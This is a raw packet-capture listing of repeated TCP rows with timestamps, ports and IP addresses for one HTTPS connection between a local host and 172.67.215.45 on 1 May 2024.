May 1, 2024 08:37:02.036633015 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.036655903 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.038372993 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.038391113 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.038465977 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.038481951 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.038512945 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.038533926 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.040519953 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.040537119 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.040572882 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.040616035 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.040635109 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.040689945 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.041507959 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.041526079 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.041572094 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.041587114 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.041623116 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.041645050 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.043301105 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.043323994 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.043366909 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.043410063 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.043437958 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.043458939 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.045187950 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.045243025 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.045277119 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.045289993 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.045314074 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.045332909 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.047163963 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.047184944 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.047249079 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.047261000 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.047389984 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.048259974 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.048290968 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.048332930 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.048342943 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.048379898 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.048398972 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.050072908 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.050090075 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.050143957 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.050149918 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.050179958 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.050199032 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.051965952 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.051984072 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.052031040 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.052036047 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.052062988 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.052079916 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.054001093 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.054018974 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.054085016 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.054090977 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.054127932 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.055044889 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.055061102 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.055116892 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.055124044 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.055154085 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.055171013 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.056966066 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.056982994 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.057034969 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.057054043 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.057091951 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.057111025 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.058748960 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.058764935 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.058825016 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.058840990 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.058882952 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.060760021 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.060776949 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.060828924 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.060844898 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.060878992 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.061801910 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.061815977 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.061867952 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.061880112 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.061917067 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.063736916 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.063751936 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.063806057 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.063822031 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.063859940 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.065571070 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.065591097 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.065646887 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.065656900 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.065694094 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.067637920 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.067655087 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.067708015 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.067724943 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.067737103 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.067769051 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.116542101 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.116565943 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.116666079 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.116705894 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.116755009 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.118172884 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.118189096 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.118248940 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.118269920 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.118314028 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.119957924 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.119976044 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.120038033 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.120053053 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.120094061 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.121632099 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.121654034 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.121704102 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.121716976 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.121735096 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.121752024 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.123385906 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.123404026 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.123465061 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.123476028 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.123511076 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.124492884 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.124509096 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.124567032 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.124577045 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.124599934 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.124620914 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.126323938 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.126338959 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.126389980 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.126406908 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.126424074 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.126444101 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.128401041 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.128417015 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.128482103 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.128494978 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.128534079 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.130222082 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.130238056 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.130299091 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.130311012 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.130348921 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.131237030 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.131253004 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.131294966 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.131304979 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.131330013 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.131350994 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.133093119 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.133107901 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.133174896 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.133184910 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.133229017 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.135181904 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.135198116 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.135262966 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.135274887 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.135310888 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.136987925 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.137005091 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.137068987 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.137078047 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.137113094 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.138844967 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.138860941 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.138922930 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.138938904 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.138977051 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.139877081 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.139897108 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.139955044 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.139964104 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.140006065 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.141968966 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.141992092 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.142035961 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.142041922 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.142070055 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.142088890 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.143770933 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.143788099 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.143847942 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.143853903 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.143898010 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.145642042 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.145659924 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.145725965 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.145730972 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.145770073 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.146823883 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.146847963 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.146967888 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.146975994 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.147018909 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.148778915 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.148804903 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.148864031 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.148874998 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.148901939 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.148921013 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.150635004 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.150659084 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.150717974 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.150728941 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.150748014 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.150777102 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.152451038 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.152472019 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.152537107 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.152549982 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.152595997 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.153460979 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.153480053 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.153521061 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.153527975 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.153561115 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.153583050 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.155585051 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.155600071 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.155667067 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.155675888 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.155729055 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.157301903 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.157322884 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.157376051 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.157383919 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.157406092 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.157432079 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.158938885 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.158956051 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.159003019 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.159009933 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.159039974 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.159059048 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.160175085 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.160192966 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.160245895 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.160253048 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.160279036 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.160301924 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.161771059 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.161788940 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.161853075 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.161859989 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.161895990 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.163573027 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.163594961 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.163645983 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.163651943 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.163686991 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.164730072 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.164748907 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.164803982 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.164812088 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.164851904 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.166435003 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.166454077 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.166503906 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.166512966 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.166538000 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.166548014 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.167709112 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.167726994 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.167785883 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.167792082 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.167825937 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.169491053 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.169509888 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.169573069 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.169584036 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.169621944 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.170492887 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.170516014 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.170569897 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.170582056 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.170603037 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.170620918 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.172333956 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.172358990 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.172419071 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.172430992 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.172477007 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.173633099 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.173650980 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.173719883 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.173732996 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.173779011 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.175435066 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.175451994 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.175509930 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.175520897 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.175560951 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.176403999 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.176419973 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.176471949 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.176481962 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.176527023 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.178277969 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.178297043 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.178349972 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.178385019 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.178447008 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.179537058 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.179553032 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.179626942 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.179639101 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.179694891 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.181385994 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.181405067 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.181469917 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.181483030 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.181550026 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.182351112 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.182370901 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.182441950 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.182457924 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.182487965 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.182513952 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.184206963 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.184223890 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.184302092 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.184315920 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.184372902 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.185481071 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.185497999 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.185569048 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.185586929 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.185643911 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.187407017 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.187423944 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.187485933 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.187499046 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.187560081 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.188240051 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.188256979 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.188322067 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.188338995 CEST	443	49741	172.67.215.45	192.168.2.4
May 1, 2024 08:37:02.188393116 CEST	49741	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:02.190094948 CEST	443	49741	172.67.215.45	192.168.2.4
